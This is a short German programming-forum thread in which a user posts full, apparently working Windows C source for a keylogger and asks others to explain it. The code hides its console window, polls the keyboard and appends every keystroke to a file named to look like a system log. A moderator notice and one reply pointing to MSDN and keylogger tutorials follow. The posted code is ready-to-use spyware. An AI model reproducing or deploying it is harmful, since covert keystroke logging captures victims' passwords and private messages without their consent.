Offline Keylogger Codeerklärung
-
Ich habe diesen Code eines Keyloggers im Inet gefunden.
#include <windows.h> #include <stdio.h> int main() { AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); FILE *Log; short key; char szKey[MAX_PATH]; int scan; while(1) { Sleep(10); for(key=0;key<256;key++) { if(GetAsyncKeyState(key)==-32767) { scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); GetKeyNameText(scan << 16,szKey,MAX_PATH); Log=fopen ("C:\WindowsSystemlog.txt","a+"); fprintf(Log,"%s--",szKey); fclose(Log); } } } }
Er funktioniert, aber ich werde aus dem Code nicht schlau. Also was da passiert.
Kann mir jemand den Code Schritt für Schritt erklären, oder geht das schon in hohe C++ Gebiete?
Ich hoffe es nicht verboten über Keylogger zu sprechen.
-
Dieser Thread wurde von Moderator/in HumeSikkins aus dem Forum C++ in das Forum WinAPI verschoben.
Im Zweifelsfall bitte auch folgende Hinweise beachten:
C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?Dieses Posting wurde automatisch erzeugt.
-
Sylux schrieb:
Kann mir jemand den Code Schritt für Schritt erklären, oder geht das schon in hohe C++ Gebiete?
Ich hoffe es nicht verboten über Keylogger zu sprechen.nein, das ist eher C, dass sich aber in ewinapi gebiete erstreckt
den code kannst du dir eigentlich auch relativ einfach selbst erklären, wenn du nach den entsprechenden Funktionen googlest und dir die Beschreibungen zu den Funktionen in der MSDN durchliest
ansonsten kannst du dir auch mal ein, zwei keylogger tutorials ansehen, denn es gibt noch andere lösungenswege